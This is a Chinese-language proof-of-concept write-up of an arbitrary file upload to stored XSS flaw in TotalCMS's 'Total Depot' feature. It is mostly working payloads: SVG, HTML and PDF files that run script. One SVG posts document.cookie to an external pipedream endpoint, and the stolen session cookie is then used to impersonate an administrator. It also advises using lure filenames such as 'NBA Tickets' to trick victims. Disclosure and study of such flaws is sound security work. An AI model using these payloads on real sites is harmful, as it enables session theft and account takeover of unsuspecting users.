描述: TotalCMS 受到任意文件上传 - XSS 漏洞的影响,该漏洞允许跨站脚本(XSS)以及窃取会话 Cookie。
攻击向量: “Total Depot” 文件上传过滤机制中的漏洞允许你上传带有隐藏 alert 的 PDF / SVG / HTML 文件以触发跨站脚本(XSS),并窃取用户 Cookie。
我将进行 2 个 PoC:
我们从第一个 PoC 开始:
登录管理面板 (https://www.totalcms.co/demo/total-cms/admin/) 后,我们将进入管理站点的“Total Depot”,并上传包含隐藏 XSS 的 PDF / SVG / 和 HTML 文件。
以下是载荷:
该载荷是使用 JS2PDFInjector 工具生成的 XSS 载荷,以及一个包含以下内容的 js 载荷:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


上传后,如果我们点击链接,就可以看到它们存储的路径:

文件路径:



下面就是这 3 类文件以及用户 Cookie 触发跨站脚本(XSS)的结果:



我们继续第二个 PoC:
我们将假扮成网络犯罪分子,窃取用户的会话 Cookie,并将它们发送到服务器。
在本例中,我上传了一个文件作为 PoC,但在实际场景中,我们可以上传一个名称诱人的文件,例如“NBA Tickets”,并发布它,这样受害用户在执行该文件时就会在毫无察觉的情况下把 Cookie 发送给我。
首先,我们进行一次测试,看看我们是否与外部服务器建立了通信。
以下是载荷:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


正如我们在 pipedream Request 中看到的,我们已正确获取到该请求。
以下是载荷:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
我们执行它:


正如我们在图片中看到的,我们已成功获取用户的会话 Cookie。

我们将会话 Cookie 修改为在 pipestream 中获取到的那一个并保存。

我们重新加载了网站,并成功冒充了管理员用户。

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html